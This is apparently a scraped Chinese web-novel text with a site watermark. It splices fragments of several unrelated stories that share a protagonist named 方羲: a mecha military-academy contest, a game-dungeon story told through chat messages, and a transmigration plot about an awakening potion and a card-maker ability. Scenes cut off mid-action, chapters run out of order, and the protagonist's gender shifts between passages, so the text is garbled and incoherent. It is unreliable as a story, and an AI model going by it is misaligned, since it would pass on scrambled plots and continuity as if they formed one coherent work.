身材高挑的漂亮女人从机甲中跳下来，看着人群中的她笑道：“作为前锋，你的任务就是清除掉一切敌人，不惜一切代价，懂了吗小羲？” “这是最危险，最疯狂的位置，是异种最先斩杀的位置，你确定要成为前锋吗？” 方羲不记得自己当时说了什么。 但紧接着，她看见了一片童话一样的梦幻山谷。 绿林攀爬成为清新的林中小屋，宽阔的草原上肆意生长的大树，小屋在大树的一根枝桠上。 周围都是五颜六色的花，小屋的门前有一从巨大的红色食人花，高矮不一的排列，似乎就是门前的阶梯，放眼望去，像极了童话中的玫瑰庄园。 梦中场景极其杂乱，她能透过清澈的溪水看见自己的脸，一边是绿色的眼珠，另一边，却不是银色义眼，瞳孔的位置空无一物，看上去像玻璃一样，折射出流光溢彩。 有来自另一个空间的呓语，像神明的低喃，空灵遥远。 明明是陌生的语言，方羲却听懂了他说的什么。 那个声音叫她：“木生花，降临吧。” “属于我们的世界要开启。” 方羲听到了周围的嘈杂声。 交谈的话语声，行走匆匆的脚步。 机器语音的提醒，门的碰撞。 全部涌入她的感官。 刺鼻的消毒水的味道，令她鼻间发酸。 方羲缓缓睁开眼，废土和森林的一切好像只是一场幻梦，映入眼帘的是银白的天花板，和链接在她身上，交错的仪器线。 治疗舱的灯光跳跃到已苏醒状态。 一阵脚步响起，房间大门被打开，穿着银白色防护服的医生走进来。 方羲看她们都处于在线状态，便将两个人拉进一个小群，这样方便共享消息。 【白乌鸦】：你们在干嘛？ 【一夕】：……！！！ 【踏樱】：白鸦？！我们在休息时间，但一个小时后要进入下一轮训练，你这是要来参加吗？ 【一夕】：（期待） 【白乌鸦】：什么？休息？休什么息！不准休息！（乌鸦掀桌） 【踏樱&一夕】：？？？ 【白乌鸦】：我们去刷副本！（乌鸦猖狂大笑）魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 130-140 第 131 章 第 131 章 但方羲没想到自己的副本大计遭遇了拒绝！ 【踏樱】：什么副本？是……真实副本？ 【白乌鸦】：不是，只是普通的道具副本，应该会很好玩。 【一夕】：既然这样。那不行！不许刷副本！ 【白乌鸦&踏樱】：什么？为什么！ 【一夕】：（截图百名开外的团队积分）（还有白乌鸦长长的一串零分）（共享特训期的团队积分排名榜） 【踏樱】撤回了一条消息。 【白乌鸦】：这、这是什么？ 【一夕】：（盯） 石洞中，七院的两人缩在角落，两人对视一眼，目光抬眼看了看连接其他出口的隧洞。 “走。” 七院输出金宇推了一把分析师。 方羲看着混乱的石洞，四所学院齐聚，外加一个能量体，乱成一片。 七院抓住机会，分析师抱着怀里的监测仪器，朝着洞口上方推移过去。 方羲视线扫过其他学院，一院的黑色指挥蒋天懿察觉到七院动作，但眼下被巨犀的火墙围绕，身后又是来自三院的枪炮，左支右绌。 三院墨蓝机甲中的指挥林风池这时候从战局脱身。 “冰。” 只听见他冷静地吐出一个字。 方羲看到石洞自上而下，一层蓝色的能量覆盖在石壁上，霜花愈发明显，眨眼间凝成一道坚硬的冰墙，封死了石壁上的洞口。 七院二人半空被阻，分析师的机甲手上亮着红光，一只通身血红的鸟自红光中破出。 “拖住他们，我来开路。” 七院输出金宇扛起枪炮，金色的光芒自他肩上起，炮弹轰出，携带着纯金的光芒，朝着三院指挥身侧的蓝色幽光捶下。 分析师的玄火鸟尖啼一声，火红的烈焰如同利箭，刺向洞口外的冰层。 方羲沉浸的看着战场局面，目光频繁扫过拥有特殊能量的精神体们。 在对付巨犀时，枪炮造成的伤口很快便会愈合，只有精神体的能量，才能够对巨犀造成真伤。 这就是觉醒的馈赠啊，方羲如是想到。 她舒适躺在乘客舱的软垫靠背上，正想抬眼看看七院的出逃进度。 结果全息投影开始闪烁。 人物的声音断断续续。 跃迁飞船发出全舰播报：“尊敬的乘客，您好，本次航线即将经过第一个跃迁通道，期间将会出现信号不稳，请谨慎使用通讯设备，为您带来不便，望谅解。” 广播还没完，整个舱内的全息投影突然消失，船舱一下暗了下去，只有透明窗外的跃迁通道亮着白光。 “哎呀怎么这个时候没有了。” “是啊，刚到精彩的地方，我说蒋天懿到底什么意思啊，林风池不是和他合作吗，他这是反水啦？” 方羲听到身边的乘客开始探出舱门，和周围的人交流起联赛情况。 现在正是星际联盟军校联赛最后一期，五大学院决胜局，星网热度最高的时候。 方羲支着耳朵听。 “什么合作啊，我看了前几期，蒋天懿这家伙心脏得很，十句话九句都是诓人。” “林风池就是太耿直了，玩不过蒋天懿这老油条。” “不过，你们还别说，烛荆府这个运气真是奇了，他们出局了三个人，指挥云方也出局，这一波还能绝地逢生，对手内讧起来了。” 说到这，其他人纷纷赞同：“他们当时从淘汰赛开始，联赛论坛买盘，八成都买烛荆府淘汰，结果硬生生挤进了正赛，两次淘汰赛，都没有遇到强队，这运气真是好到绝顶了。” “他们那个分析师还可以，自保能力很强，精神阈值在五个院校里算中上档吧，82的阈值，还是给七院创造了不少机会。” “是这么个理，但这个综合实力是真不行”，有人惋惜地叹了叹气。 “没办法啊，自打宋主任失踪后，议事会对十一区倾斜资源向军校十分不满，七院这些年资源紧缩，现在还能在正赛看到他们，已经很不容易了。” “唉，宋主任真是可惜了。” “宋家出栋梁啊，宋家人在主星有话语权，远星环的人才能过好日子啊，现在是难，不过等宋家的那个小辈立起来，都会好的。” “唉，那也不如宋主任呐。” 提到这里，方羲明显感觉到所有人的情绪都不约而同低落了下来。 宋主任，宋白宁？ 方羲在星网上见过有关宋白宁的软文。 说是，宋家起自谕光星，宋白宁少年叛逆，离开主星，在谕光星七院进学，于星际联赛上一战成名。 联赛结束便加入了边境军，后成为十一区军事委员会主任，管理整个十一区，在她治下，军区人才频出，能量体降临伤亡大大降低，远星环各方面迅速发展。 只可惜，十年前，宋白宁在一次处理顶级能量场事故中失踪，至今生死不明。 此后十一区由新任理事赵楼兰接手，议事会步步掣肘，导致星际联盟，目前局势十分不明朗，明争暗斗严重。 方羲不太能看出来这些，她只擅长打架、杀异种，这些派系，管理，弯弯绕绕的，看的她眼花缭乱，星网上营销号们写的头头是道，可不可信就另说了。 她打了个哈欠，驱散脑子里的想法。 跃迁通道的白光闪耀在船舱中，打开乘客舱交流的人群被舱体语音警报提醒，一个个躺下去，室内重归于静谧。 乘客舱的透明屏障被铺上一层茶色的蜂窝网样的膜，白光被过滤，视野像被降低了曝光，方羲安详躺下，闭了闭眼。 跃迁通道的长度比她想象的更长，加上这几天来回处理证件和投递报名信息，实在太累，方羲不自觉的陷入了睡梦。 这一觉异常平和，乘客舱调整到睡眠模式，将全息影像响起，五大学院交战，炮火纷飞，精神体齐出，甚至乘客高声喝彩的声音，全部阻隔在外。 跃迁飞船停泊在谕光星港口，乘客舱内的唤醒装置将方羲叫起。 一睁开眼，是炫目的金色海。 谕光星中央星港位于闪金之海上方，用巨大的悬空金属建造起称托一整个星舰港的建筑。 面积足足有半个闪金之海那么大。 星港四周全透明的下降通道，从港口四周围绕着，连接着闪金之海整个海岸的所有区域。 方羲根据指引找到七院最近的地方。 进入下降通道，阶梯上方能看到闪金之海金色的浪花，西沉的恒星散出瑰丽的火焰，嚣张的覆盖在闪金之海的表面。 人工养殖的水生物在海面上漂浮，被映的浑身通红。 风一吹整个海面翻滚起来，溅起碎金一样的海水，被夕阳裹上红色的铁水。 来自下降通道疾速下落的风吹开了她额前的碎发，深绿大衣的纽扣也被吹开，冷风嗖嗖灌进来，带着一股天然的海腥气。 谕光星的半空，规划着交错的悬空轨道，根据悬浮车类型分为几层，地面只有行人和环卫机器在街道上游走。 方羲乘坐城市悬浮公交，在半空和耸立的一栋栋高楼打了个照面，挂在高处的霓虹灯牌将她的脸映出五光十色，绿色瞳孔显得格外深邃。 “塔塔木城，松罗区，到了，请带好您的行李物品，下车时注意交通安全，白日城际公交，祝您旅途愉快。” 在公交站点大厅，方羲在光脑上下载了一份塔塔木城地图，定位好星际第七学院的目的地。 七院位于松罗区偏远的位置，学院前正对着最繁荣的商业街出口，学院后是天然地貌的几座山丘。 商业街到了夜晚才是正繁华，入口处的悬浮车泊车位都要放不下，执勤机器人正引导着晚来的游客去往另一边。 商业街沿路店铺，门户大开，各种模拟人声叫卖着，有想法的商家写了特殊的招呼词，还有的在门口的光屏上，投放星网当下最热门的连载小说画面。 炫彩的字体让方羲在门口停驻片刻。 “全息-绿机甲文学网，大神作家不熄，新作短篇《我的前夫成了能量体》，全息文字，正在热播！” 这个时代的小说，已经可以从文字，直接内化成画面，在方羲看完预告剪辑后，刚有些期待的等着后续剧情，结果突然画面一转，一个熟悉的机甲部件出现在屏幕上。 “泰诺机甲零售店，部件精细造，个性化设计，让您的机甲，独领风骚。” 方羲刚提起的兴致，好似被泼了一桶冷水，她抬头看了眼店铺的霓虹灯牌。 泰诺机甲零售店。 很好，都是引流。 “老板，你们这到底放不放啊？” “就是啊，不熄大神的新书不是今晚上吗，放不放啊！” 老板的引流手段确实高明，加上眼下不熄真大火，吸引来了不少粉丝，眼看后续没了，直接开始叫骂起来。 泰诺机甲零售店的老板无奈的表示：“哎呀各位，实在是不好意思，这个新作的授权我们还在跟不熄老师谈哈，打扰大伙的兴致，我做个主，今天店里的零件，给大家伙八折！” 说完后，方羲看见老板转身时，松了一口气，嘴唇动了动，随后一副生意做成的得意样子。 方羲根据他的唇语，猜测他嘀咕的那句话是：“什么鬼授权，这么贵怎么不去抢，不过还好广告打成了，幸好我提前提了几倍的价，今天赚翻了。” 方羲在人群里露出一个了然的神色。 原来都是营销。 高，真是高。 不过，她看着人群顷刻散的干净，似乎没有不熄的新作后，对店铺，以及八折都什么兴趣的样子，倒像是对这样的手段司空见惯，便想着这老板的如意算盘落空了。 这想法刚出来，就看见人群里一个年轻的红毛男生，在四周的店铺之间望了望，然后抬脚进了泰诺机甲零售店。 方羲心里小小惊讶了一下，诶，还真有人去。 她也有些好奇，泰诺机甲零售店的老板得提多少价，才能说自己赚翻了。 于是便也进去看了看。 一阵莫名热血的冲动过后，方羲忽然有点后悔。 可细想想，感觉也没什么必要啊，她可是一名主打平平淡淡才是真的人类，而且又不太擅长暴力，何必跟这堆违背人类本性的卷王做相同的事呢？ 要不趁现在还来得及，还是撤回吧…… 但方羲看着踏樱和一夕秒回的消息，实在感觉有点良心不安，闭了闭眼，内心的两只小人打了长达十分钟的架，才艰难地压下反悔的念头。 【白乌鸦】：那我们明天中午一点集合吧，等录完这个属性检测，我们就直接去刷副本，怎么样？ 【踏樱&一夕】：（二度欢呼） 【白乌鸦】：（乌鸦委屈） 待在休息室的一夕，几乎不怎么搭理其他新晋玩家，也不说话，一脸冷漠，浑身上下写着生人勿近。 但她看见“白乌鸦”发送的消息，眼睛微微闪烁了一下，脸上露出一丝开心的雀跃。 有白乌鸦在的话，她们队伍应该能再前进个……至少五名吧？ 第 132 章 第 132 章 第二天，中午一点。 踏樱和一夕准点抵达约定地点，无聊地坐在检测大堂外面的路椅上，看着来来去去的新晋玩家们，试图在人群中找到某只鸦的身影。 一夕：“白乌鸦没有到。” 踏樱：“再等等吧。” 时间过去了半个小时。 一夕：“白乌鸦没有到。” 踏樱：“呃……再等等吧” 时间过去了一个小时。 一夕：“白乌鸦是忘记了吗？” 踏樱：“（怀疑人生）” 她们在等待的一个小时期间，已经多次给方羲发送了消息，但对方一直没有回复。 踏樱开始怀疑白鸦是不是出什么事了。 谷大姨已经在第十中学工作了十四年了，她现在正好有这个资格去申请一支觉醒药剂。 谷大姨说：“最主要的是，你的情况也符合申请条件。” “太好了，” 他们还有机会。 但是谷燕觉得很不好。 如果事情真有这么简单的话，为什么方羲的班主任，还有第十中学的校领导都没有这么做？ 毕竟他们才是方羲的老师不是吗？ 原因很简单。 觉醒药剂的制作成本很高，所以即便是一支普通版的觉醒药剂，市场售价都在十万星币以上。 否则政府又怎么可能会规定只有天赋值超过百分之二十的学生才能免费领到一支觉醒药剂。 所以启明星的老师们在获得免费领取的名额之后，通常都会选择把它转卖掉。 当然了，这个前提是，买下这个名额的学生的成绩的确很优异，能够通过启明星教育厅的审核。 而且这些名额的售价往往只有市场价的七成。 但是七万星币对于很多人来说已经不是一个小数目了。 所以方羲的班主任还有第十中学的校领导们是吃准了谷大姨到时候一定会把她的名额拿给方羲用，就不管方羲了。 结果谷大姨还真就准备这么做了。 她难道就没有想过，谷池今年十三岁了，再过五年，他也要检测天赋值了，她现在把这个名额用在了方羲身上，万一到时候谷池的天赋值也在这个区间之内怎么办？ 到时候她们拿得出那么多的钱来再给谷池买上一支觉醒药剂吗？ 最主要的是，天赋值在15以上20以下的人，只有万分之一的可能觉醒成为能力者。 方羲的成绩那么好，所有人都说他的天赋值一定很高，结果呢，连二十都没有。 谁又能保证方羲用了这支觉醒药剂之后，一定能够觉醒成为能力者？ 所以这支觉醒药剂如果给方羲用了，就是赤裸裸的浪费。 还有就是，可想而知，这件事情传出去之后，外面那些人会怎么嘲讽她们一家。 比如她堂姨，一定会第一时间给她们打电话，表面上是想安慰她，实际上却句句不离她妈明明是她娘家那边长得最好也是嫁的最好的人，到头来却混的连结了五次婚的她都不如。 而她堂姐也一定会第一时间把这件事情发到朋友圈里去，以博取关注…… 不行，她绝对不能容忍这样的事情发生。 她当即就挽起了袖子。 然而一秒钟过去了，两秒钟过去了……五秒钟过去了，她还是没能把心里的不满发泄出来。 她只是又想起了那双运动鞋。 她当时真的很需要那双运动鞋，很需要……一些安慰。 所以一双三千五百星币的运动鞋就把你收买了？ 谷燕，你可真是太不争气了？ 谷燕能怎么办。 她只能转头就看向了一旁的谷池。 现在她只能把希望都寄托在谷池身上了。 结果就发现谷池正背对着他们跟人开黑。 谷燕面无表情。 她怎么会认为这个神经要多大条有多大条的家伙能帮她们守住她们那点可怜的家底呢？ 方羲也终于反应过来。 如果说他不想再试试，那是不可能的。 毕竟那可是超能力的世界啊，谁会不想进去看一看呢。 但是他也不傻，当然能看出谷燕他们的不乐意。 这是很正常的事情。 所以他说：“谢谢大姨。” “不过大姨您为我做的已经足够多了，所以这支觉醒药剂就算是我借您的吧！三年之内，我会把钱都还给您的。” 福晟修理店那边，他再努力一点，争取让老板下个月给他加工资。 到时候他再接一点家教之内的零活，三年之内，应该是能把这笔钱凑出来的。 谷大姨的眉头直接就皱了起来：“都是一家人，你这说的是什么话。” 不过她很快就反应了过来，她看了一眼谷燕：“行吧。” 大不了等到方羲还钱的时候，她不收就是了。 谷燕：“……” 她怎么也没有想到，方羲竟然会主动提出用钱来买这个名额。 他竟然真的开窍了？ 那她还能说什么呢！ 也正是在这样一种情况下，两天后，方羲等来了那支觉醒药剂。 等到快递员一走，谷大姨就直接把那个小盒子塞进了方羲手里：“快，快去试试。” 这可是他们最后的机会了。 方羲可一定要成功啊！ “好。” 方羲接过那个小盒子，回了房间。 他三两下的就拆开盒子，一管蓝绿色的，在太阳光的照耀下熠熠生辉的液体就出现在了他面前。 觉醒药剂的使用方法很简单，就是打开盖子，直接把它喝下去就行了。 方羲摸了摸管壁上的‘牧’字。 这显然就是那个一直在方持启明星的基础教育的家族的标志。 方羲记下了。 紧跟着，他直接打开盖子，仰头将里面的药剂一饮而尽。 药剂几乎没有什么味道，一秒钟过去了，五秒钟过去了，十秒钟过去了……方羲也没有什么感觉。 这不对劲。 毕竟星网上的那些顺利觉醒了的人都说，他们在喝下觉醒药剂的瞬间，身体里的血液就开始沸腾了。 方羲又等了几分钟，还是什么感觉都没有。 他绷紧的神经也在这漫长的等待中，一点点松弛下来，直到和他的影子一起散落一地。 所以，他这是又失败了吗？ 他果然不该对那万分之一的几率抱有希望。 方羲抿紧了唇角。 但是很快，他就收拾起了心底的失望。 因为他从不惧怕失败。 他相信以他的能力，照样能够在这个世界绽放出光彩。 方羲站起身，哪知道就在这个时候，一股灼热感突然从他的心脏里窜了出来，那热度越来越高，越来越高，直到最后将他整个人都包裹其中…… 眼看着时间一点一点过去，原本一直在房门外来回转圈的谷大姨的心情也从一开始的紧张和激动慢慢变成了忐忑和不安，直到最后，只剩下失望。 谷大姨直接瘫坐在了旁边的椅子上。 都这么久了，方羲还没有出来，所以答案已经很明显了。 谷燕想。 想到这里，她忍不住搂住了旁边的谷池。 虽然她还是不喜欢方羲，但这并不妨碍她觉得失望，毕竟那么多的资源在她的眼皮子底下白白浪费了。 结果下一秒，她就看到谷池又在偷偷摸摸玩游戏。 谷燕：“……” 她忍无可忍，一把夺过谷池手里的游戏机。 “没收了！” 谷池：“……” 他招谁惹谁了？ 也就在这个时候，谷大姨终于又有了动静。 她伸手抹了一把脸：“看来我们老谷家这辈子就是被人欺压的命。” 一边说着，她一边踉跄着站了起来。 方羲这会儿指不定有多难受呢，她得去安慰安慰他。 而也就在她的手即将放到门把手上的时候，房门突然打开了。 是方羲。 他看起来就像是刚刚被人从水里捞出来一样，头发、衣服全都湿透了。 他说，声音很轻却充满了力量。 “大姨，我顺利觉醒成为一名制卡师了。” “队长？梨花雪？HiHi？”野薄荷叫了几声，试图拉回梨花雪的注意力，“你怎么了？不舒服吗？为什么……一直看着白乌鸦？有什么事情吗？需要上前问点什么吗？” “没什么。”她终于回过神，声音平静地说，“我们走吧。” 但转身之前，梨花雪又忍不住再看了一眼。 金色灵魂的背影在逐渐缩小、消失。 原来是这样。 那些被刻意模糊的细节，残缺不全的情报，交错出现的时间线。在你裹挟在人类皮囊之下，那团金色灵魂出现的时候，一切都变得清晰明了起来。 原来是你。 难怪“白乌鸦”总是很少出现。 因为你根本不在乎这种虚名，你一直有更重要的事需要做。 第 133 章 第 133 章 开门。 冰凉的海水越过三人的脚踝。 银茫茫的一片，脚下却有反射着白色亮光的一圈圈波澜，湖面洒落着艳丽的红玫瑰花瓣，冒着余烬的弹壳，还有被冰封在最低层的血丝碎肉。 爆破声与枪声同时响起。 方羲微微侧过身，躲过一颗反射过来的子弹，脸庞被烧灼出一道鲜明的血痕。 但半秒后，踏樱的伞尖轻触地面，方羲脸上的伤口瞬间消失不见。 一夕皱了皱眉头，长枪往地面重重一砍，砸出几块巴掌大的冰块，双臂再一挥。 冰块精确地砸中子弹的主人。 今天就是检测报告出来的日子。 方羲特地起了个大早。 没想到谷大姨比他起的还要早，当然了，更多的可能是她昨天晚上根本就没有睡着。 看到他从房间里出来，谷大姨直接塞给他一个盒子，里面是一根长饼干和两块圆饼干。 这是她专门跑到隔壁区的超市，花了一百星币买的。 那家超市每年这个时候都会推出这款决胜法宝，听说不少人吃了他家推出的这款决胜法宝之后，最后顺利觉醒成了能力者。 谷大姨催促他：“快吃快吃，吃了这个，你的天赋值肯定能直接冲到一百。” 方羲伸手接了过去。 毕竟哪个华国人能够拒绝得了这样的套路。 饼干的味道还不错。 虽然这只是最普通的，连糖都不怎么舍得放的全麦饼干。 因为那双鞋的缘故，谷燕心里不免有些别扭。 但她还是和看着方羲手里的饼干一个劲儿咽口水的谷池一起，说了一句：“祝你马到成功。” 方羲：“谢谢。” 谷大姨把他送到车站：“去吧。” 她上一次这么做，还是‘方羲’上小学的时候。 “路上小心点。” 显然，她心底的激动和忐忑没有比方羲少多少。 方羲：“好。” 到了学校，已经有十几个同学提前到了。 看到方羲过来，他们一个接一个的跟他打起了招呼。 “方羲，你猜你的天赋值会有多高？” “我猜肯定有六十，咱们上一届的陈辉学长，学习成绩和他差不多，最后测出来的天赋值就是六十。” “我觉得肯定不止六十，别忘了，方羲可不仅仅是咱们这一届的年级第一，还是咱们学校的校草呢！” “是哦。” “那方羲你的天赋值说不定能冲破八十呢。” “苟富贵，勿相忘啊。” 显然，在他们看来，方羲觉醒成为能力者已经是板上钉钉的事情了。 方羲心底的紧张也不禁淡下去了不少：“你们越说越夸张了。” 他们却说：“这算哪门子的夸张。” “毕竟你的优秀我们可都是有目共睹的。” 就在这样的插科打混中，班上的学生都到齐了。 随着上课铃声响起，他们的班主任走了进来。 原本热闹非凡的教学楼立时就安静了下来，所有人都忍不住坐直了身体。 然后他们就发现班主任脸上几乎看不到什么笑容。 最主要的是，他在走上讲台之前，专门多看了方羲一眼。 方羲心里顿时升起一股不好的念头。 班主任：“首先，祝贺各位顺利完成了高一年级的学业，从今天起，有一部分同学将会走上另一条辉煌的道路，成为联盟的中流砥柱，但剩下的同学也不要气馁，正所谓三百六十行，行行出状元，只要足够努力，等待你们的也必定会是一条坦途……” “现在，念到名字的同学可以做好准备，一会儿跟我去大礼堂领取觉醒药剂。” “剩下的同学可以扫描这张二维码，获取你们的资质检测报告……然后你们就可以回家继续享受你们的暑假时光了。” 只听他喊道：“陈深，欧阳海……” 被叫到名字的人当即就大声欢呼了起来。 “我的天赋值竟然也超过了二十。” “我有机会觉醒成为能力者了。” “太好了。”“算了，不说了，我孙子应该快睡醒了，我得回去看着他去了。” 很快，那些七大姑八大姨就散了。 方羲眉头微皱。 为首的那个赵老婆子他认识。 她和谷家没什么深仇大恨，只是当年她儿子和谷大姨一起考第十中学的教师岗，谷大姨考上了，她儿子没考上，让她儿子丢了一些脸，她就记恨上了谷家。 这事弄的…… 方羲深吸一口气，抬脚继续往前走去。 但也正如同她们所说的那样，谷大姨已经气疯了，最后甚至晕厥了过去。 以至于方羲回到谷家的时候，看到的就是谷大姨两眼紧闭躺在沙发上，谷池手忙脚乱掐着她的人中，试图把她救醒的场景。 谷燕也正好在这个时候回到了谷家。 她也已经知道了方羲的天赋值没有超过二十的事情了。 再一看到谷大姨现在的样子，她直接就仰起了头。 这可真是太可笑了！ 但是一秒钟过去了，两秒钟过去了，五秒钟过去了……她嘴巴里的口水都快被风吹干了，竟然还是没有笑出来。 谷燕：“……” 都怪那双运动鞋，害得她都没有办法嘲讽方羲了。 也就在这个时候，谷大姨终于醒了过来。 而她醒来之后的第一句话就是：“我这是造了什么孽呀。” 她捂着心口，看起来像是老了十岁不止。 不过下一秒，她眼角的余光就发现了门口的方羲。 她的动作戛然而止。 所有人都转头看向了方羲。 连带着空气也瞬间安静下来。 直到方羲喊了一句：“大姨。” 谷大姨这才反应过来。 她竟然直接就收起了脸上的悲愤，甚至还扯出了一抹笑来：“小羲回来了。” 她脸上的神情变了又变：“检测报告的事情我们都已经知道了。” “不就是天赋值没有超过二十吗？这有什么？” “我们启明星每年两百多万高一生升高二，其中能顺利觉醒的最多也就两千人，剩下的人不都活的好好的吗？” “再说了你这么聪明，就算没能成为能力者，以后参加高考，也能考上一个好学校，说不定到时候那些低级能力者过得还不如你好呢！” 方羲：“……” 他能说，这原本是他准备用来劝谷大姨他们的话吗？ 却没想到，心底的失望和难受恐怕比他还要多出几倍不止的谷大姨会反过来先劝慰他。 可见谷大姨对‘方羲’的偏爱，真的没有掺杂一点水分。 谷燕：“……” 你礼貌吗？ 礼貌吗？？？？？？ 她只是毕业了还没有找好工作，谷大姨就天天戳她脊梁骨？ 她还是谷大姨的亲女儿呢！ 方羲白白浪费了这么多的资源，谷大姨反而安慰起了他？ 又是想要骂娘的一天。 但她最终还是忍耐了下来。 没办法，她都已经把她的‘新男朋友’送了她一双名牌运动鞋的消息广而告之了，而且还是专门@了她和前男友刘能的共同好友。 不过很快，她就又绷不住了。 因为下一秒，她就听见谷大姨说的：“等等，小羲你的天赋值是多少来着？” 方羲：“19。” 谷大姨突然坐了起来：“那是不是意味着，我可以去帮你申请一管觉醒药剂？” 然后就没有然后了。 其他没有被念到名字的人忍不住发出了阵阵哀嚎。 虽然他们也知道，凭借他们的成绩，天赋值超过二十的可能几乎没有。 但是并不妨碍他们做梦啊！ 毕竟如果不出意外的话，这可是他们唯一能够翻身的机会了。 可是这个美梦最终还是破碎了。 等等—— 像是想到了什么，他们突然齐刷刷转头看向了方羲。 刚才班主任好像没有念方羲的名字？ 也就是说，方羲的天赋值竟然也没有突破二十？ 这怎么可能？ 注意到他们的视线，班主任忍不住叹了一口气。 他们也没有想到，他们这一届学生的检测结果竟然会是这样—— 不仅仅是方羲，包括年级第二的冯晋，年级第三的李梨，年级第四的陈列，天赋值全都在二十以下。 结果就是，他们这一届天赋值超过二十的学生只有六个，而且全都在三十以内。 按照以往的经验，不出意外的话，这六个人里面最多只有三个人能顺利觉醒成为能力者。 这是第十中学建校四百年来，成绩最差的一届。 班主任现在自己都没有什么心情，又哪里有功夫去安慰方羲，他直接叫上那两个学生：“走吧。” 轰！ 众人顿时一片哗然。 方羲的天赋值竟然真的没有超过二十。 方羲也已经愣住了。 众人也不知道该怎么安慰他才好了。 毕竟相比于他们从一开始就知道自己天赋值超过二十的可能微乎其微，方羲原本可是有百分之九十的可能觉醒成为能力者的。 他们只能拍了拍他的肩膀，说道：“没事的，条条大路通中央星域，你那么聪明，将来肯定能够在其他领域取得辉煌的成绩的。” 直到教室里的人全都走光了，方羲才终于反应过来。 他慢慢的站起身，走到讲台上，扫了一下那张二维码。 几秒钟后，一张资质检测报告弹了出来。 只见最下面一行赫然写着，天赋值：19。 19？ 方羲的呼吸瞬间就变得粗重了起来。 距离20只差了1个点。 只差了，1个点啊！ 方羲慢慢放下了光脑，也冷静了下来。 他想，难道他当初救了穿越大神之后，又把穿越大神的祖坟挖了？ 要不然祂为什么会跟他开这样的玩笑呢？ 但他现在还能怎么办呢？ 他转身往教室外走去。 只是没想到的是，也就是这么一会儿的功夫，这件事情已经传遍了大半个第十区。 以至于方羲刚走进小区，就听见一群七大姑八大姨围在一起聊着这件事情。 “……笑死我了，姓谷的天天在小区群里吹她外甥有多聪明，说他将来肯定能觉醒成为能力者，带着他们一家翻身成为人上人，羡慕死我们，结果她外甥的天赋值竟然连二十都没有哈哈哈哈。” “就是，等等，她的确总是在小区群里炫耀她外甥，但是她好像没有说过她外甥肯定会带着他们一家翻身成为人上人，羡慕死我们的话吧？” “……她嘴上是没说，但她心里肯定是这么想的，毕竟她是个什么样的人，你们还不知道吗？” “……也是。” “要不是顾忌着几十年的邻居之情，我真想跑到谷家去，当着她的面好好的气气她……” “嗨，这还用得着你去气她，她这会儿恐怕已经气疯了。” 又或者说，团队里没有一名实力足够支撑这名猎人发疯的增益型造梦家。 那么，猎人一夕，会不会死得很早？她的名字会不会被提前登记在牺牲名单上？ 可她只是一名好不容易才从斗兽场厮杀到顶尖的庸才，真的不太擅长用温和、委婉的手段，来改变这名新队友的行事内核。 一夕会听得进去她的劝告吗？ 白鸦。如果是你发现了这一点……你会怎么做呢？ 踏樱沉默地看着方羲和一夕拿起武器，忍不住握紧洋伞，忽然在心底冷笑一声。 算了，没必要让白鸦为这种事烦心。 既然一夕习惯不好，她很有可能也不愿意听自己的劝告。 那回头打她一顿算了。 直到她愿意纠正错误习惯为止。 第 134 章 第 134 章 一夕忽然感觉背后一凉，下意识看向方羲，但她什么特别反应也没有。 看来刚刚奇怪的发凉感只是错觉。 方羲很快找到了待宰的血包，是一只巨大的白色蜘蛛，丝丝地吐着丝网，身上有上百只红色的眼睛。最特别的是，头顶载着一个王座，上面坐着一套血红色落地披风，但没有人身。 白色蜘蛛是场上最强大的异端，很多新晋小队第一目标都是它，但尝试了好一会，发现蜘蛛的躯壳坚硬到一个不可理喻的程度，只好放弃，转而去追击其他猎物。 只剩下刚才那名子弹被反射的短发女生，她所在的小队还在努力寻找突破口。 方羲耐心等了一会，很快，连这支队伍也放弃了，退出了白色蜘蛛的攻击领域。 吐着丝网的白色蜘蛛见没人再烦它，往半空的网中心爬了一段，继续勤勤恳恳织网。 方羲怀疑自己可能救过穿越大神。 要不然怎么同样是第二天上班的时候左脚先踏进公司大门，其他人都是莫名其妙被公司开除了，他却穿越到了星际时代？ 清晨时分，方羲睁开眼睛，看着墙皮全都掉光了的天花板，第二十一次思考这个问题。 也就在这个时候，屋外传来了一阵喝骂声。 “……跟你说过多少次了，晒衣服的时候一定要先把衣服整理一下，这样晒出来的衣服才不会皱，这点小事都做不好，以后看哪个男人会愿意娶你？” “还有你，叫你扫个地也能扫出半个小时，以后看哪个姑娘会愿意嫁给你？” “营养液怎么又没了，不是上个月刚买的吗？猪都没有你们这么能吃……” 方羲揉了揉耳朵，起床，铺被子，穿过一条狭小的走廊之后，走进一个只有一平不到的洗手间，开始刷牙。 用的漱口水。 将一小杯漱口水倒进嘴里，含上半分钟后吐出来就可以了。 之后不需要再漱口。 想漱也不行。 因为这里水资源奇缺，夸张到在二十一世纪的地球，底层平民进入大羲市之后至少要花上六分之一的工资去租赁房屋才能给自己一个安身立命的地方，而在这里，底层平民至少要花上六分之一的工资，才能买到足够满足一家人日常使用的纯净水的那种。 所以如果非要问方羲，穿越是种什么样的体验的话。 方羲的回答大概会是，也就那样。 毕竟他穿越之前，可是刚刚从乾国第一大学畜牧学专业毕业，并且在导师的推荐下，拿到了一份年薪十五万的offer。 最主要的是，被他占据了身体的人，除了跟他长得一模一样，而且也叫‘方羲’之外，有一群家人。 原谅方羲上辈子是个孤儿，即便他已经穿到这个世界二十多天了，还是不太习惯跟他们相处。 所以照例做了一番心理准备之后，方羲才推开房门。 看到他出来，原本还在破口大骂的谷大姨瞬间换上一张笑脸：“小羲今天怎么起的这么早，是不是我刚才声音太大，把你吵醒了？” 方羲：“没有。” 谷大姨：“那就好。” “正好，大姨已经把豆浆给你煮好了，快来喝。” 听见这话，正在熨衣服的谷燕忍不住翻了个白眼。 他们天天一大早就起来帮着做家务，天天挨谷大姨的骂。 方羲以前天天睡觉睡到太阳晒屁股，谷大姨却天天给他加餐。 “谢谢大姨。” 方羲装作什么也没有看见，走了过去，学着前身的语气：“大姨你对我真好。” “今天怎么这么多，要不大姨你也喝点？” “刚才煮的时候一不小心多放了一勺豆粉。” 谷大姨：“不过我不爱喝这个，你喝就行了。” 一旁正在扫地的谷池连声说道：“我爱喝，你要是喝不完的话给我喝呗。” 谷大姨直接来了一句：“就你那个年年考倒数第一的猪脑子，还想喝豆浆？” 谷池：“……” 不带这么人身攻击的。 不就是一杯豆浆吗，他现在还看不上了呢。 哼！ 